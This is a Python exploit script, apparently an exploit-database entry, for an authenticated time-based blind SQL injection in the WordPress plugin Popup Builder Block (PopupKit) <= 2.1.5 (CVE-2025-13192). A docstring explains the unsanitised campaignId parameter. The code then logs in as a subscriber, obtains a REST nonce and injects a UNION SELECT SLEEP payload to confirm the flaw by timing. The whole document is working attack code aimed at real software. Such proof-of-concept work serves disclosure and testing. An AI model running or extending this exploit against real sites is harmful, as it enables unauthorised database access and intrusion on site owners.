Share
## https://sploitus.com/exploit?id=PACKETSTORM:226430
#!/usr/bin/env python3
    # Exploit Title: WordPress Plugin Popup Builder Block (PopupKit) <= 2.1.5 - Authenticated (Subscriber+) Time-Based Blind SQL Injection
    # Google Dork: N/A
    # Date: 2026-07-10
    # Exploit Author: A. Ramos <aramosf@gmail.com> / @aramosf
    # Vendor Homepage: https://wordpress.org/plugins/popup-builder-block/
    # Software Link: https://downloads.wordpress.org/plugin/popup-builder-block.2.1.5.zip
    # Version: 2.1.5 (REQUIRED)
    # Tested on: WordPress 6.6.2, PHP 8.2, MariaDB 10.11 (Docker, Debian 12 / Linux)
    # CVE : CVE-2025-13192
    """
    Popup Builder Block <= 2.1.5 exposes the REST route GET /wp-json/pbb/v1/popup/logs (callback
    Routes/Popup.php::get_logs). Its `campaignId` parameter is concatenated unsanitised into the SQL
    WHERE clause inside DataBase::get_devices() (Helpers/DataBase.php:256):
    
        $campaign = $campaign_id ? " AND campaign_id = $campaign_id" : '';
        $wpdb->prepare("... FROM $table WHERE date BETWEEN %s AND %s $campaign", $start_date, $end_date);
    
    Only $start_date/$end_date are bound; $campaign_id is interpolated raw -> SQL injection. The route
    inherits the class default permission_callback (Routes/Popup.php:50), which requires a valid
    `wp_rest` nonce, so any authenticated user down to Subscriber can reach it (a subscriber obtains the
    nonce from /wp-admin/admin-ajax.php?action=rest-nonce).
    
    Payload uses UNION SELECT SLEEP() (matching the 3 aggregate columns) so the delay fires
    unconditionally regardless of table contents. type=devices selects the injectable method.
    
    Prior state: any authenticated account (Subscriber is enough).
    """
    import argparse, sys, time, urllib.parse
    import requests
    requests.packages.urllib3.disable_warnings()
    
    
    def login(base, user, pw):
        s = requests.Session(); s.verify = False
        s.get(base + "/wp-login.php"); s.cookies.set("wordpress_test_cookie", "WP+Cookie+check")
        s.post(base + "/wp-login.php", data={"log": user, "pwd": pw, "wp-submit": "Log In",
               "redirect_to": base + "/wp-admin/", "testcookie": "1"}, allow_redirects=True)
        return s
    
    
    def probe(s, base, nonce, seconds):
        inj = "0 UNION SELECT SLEEP(%d),2,3" % seconds
        q = ("campaignId=" + urllib.parse.quote(inj) +
             "&startDate=2020-01-01&endDate=2020-01-02&type=devices")
        t = time.time()
        r = s.get(base + "/wp-json/pbb/v1/popup/logs?" + q, headers={"X-WP-Nonce": nonce}, timeout=60)
        return time.time() - t, r.status_code
    
    
    def main():
        ap = argparse.ArgumentParser()
        ap.add_argument("--target", required=True)
        ap.add_argument("--user", default="subscriber")
        ap.add_argument("--pass", dest="pw", default="Passw0rd!123")
        ap.add_argument("--sleep", type=int, default=5)
        args = ap.parse_args()
        base = args.target.rstrip("/")
        s = login(base, args.user, args.pw)
        nonce = s.get(base + "/wp-admin/admin-ajax.php?action=rest-nonce").text.strip()
        if not nonce or nonce == "0":
            print("[-] login failed / no wp_rest nonce"); return 1
        print(f"[*] Target: {base} | user: {args.user} | wp_rest nonce: {nonce}")
        t0, c0 = probe(s, base, nonce, 0)
        t5, c5 = probe(s, base, nonce, args.sleep)
        print(f"[*] SLEEP(0): {t0:.2f}s (http {c0}) | SLEEP({args.sleep}): {t5:.2f}s (http {c5})")
        if c5 == 200 and (t5 - t0) >= args.sleep - 1.5:
            print(f"\n[+] SQL INJECTION CONFIRMED โ€” attacker-controlled SLEEP({args.sleep}) delayed the "
                  f"response by {t5 - t0:.2f}s (subscriber-level, campaignId param).")
            return 0
        print("\n[-] not confirmed"); return 1
    
    
    if __name__ == "__main__":
        sys.exit(main())